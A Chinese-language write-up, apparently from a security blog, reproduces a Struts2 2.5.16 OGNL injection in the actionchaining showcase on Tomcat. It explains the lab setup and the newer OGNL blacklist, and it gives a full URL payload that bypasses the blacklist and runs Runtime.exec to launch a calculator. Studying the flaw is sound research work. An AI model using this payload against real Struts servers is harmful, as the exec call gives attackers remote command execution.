环境搭建
环境说明:
- Struts2 2.5.16
- Tomcat 9.6.0
- Intellij IDEA
首先下载Struts2的包以及Tomcat,Struts2的包地址如下:
https://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-all.zip
将 /apps 下的 struts2-showcase.war 放入Tomcat 的 /webapps 下,如图:
将 /webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml 以及 /webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining/xml 内的内容更换如下:
1 | <!DOCTYPE struts PUBLIC |
回到 /bin 目录,执行:
./startup.sh
便可以启动tomcat服务器,访问
若能看到正常返回,则环境搭建正常,继续访问:
http://0.0.0.0:8080/struts2-showcase/actionchaining/${(1+1)}/register2.action
发现跳转到了:
http://0.0.0.0:8080/struts2-showcase/actionchaining/2/register2.action
漏洞环境至此搭建完成
漏洞原理分析
这一部分,chybeta师傅讲的很清楚了,附上链接:
EXP构造
网上放出的exp基本都是 Struts2 比较老的版本,对于2.5.16这种比较新的版本而言,ognl新添了部分过滤.
因此相比较于网上常见的2.3的exp,2.5的exp需要进行部分改动.
在2.5.16的环境下使用payload:
${(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))}
观察url会返回:
可以发现,这一部分的取值是能够正常进行的,而我们再看看2.3版本的exp(图是直接从其他师傅博客扒的:
我们可以看到,一开始调用OgnlContext去获取member_access,而我们再看下2.5版本的ExcludedClass:
因此需要对exp进行部分改动.我们可以通过setExcludedClasses与setExcludedPackageNames来覆盖默认的设置,因此我们便可以引入ognl.OgnlContext了.
附上弹计算器的payload:
http://0.0.0.0:8080/struts2-showcase/actionchaining/${(%23ct=%23request[‘struts.valueStack’].context).(%23cr=%23ct[‘com.opensymphony.xwork2.ActionContext.container’]).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses(‘java.lang.Shutdown’)).(%23ou.setExcludedPackageNames(‘sun.reflect.’)).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec(‘open%20/Applications/Calculator.app’))%7D/actionChain1.action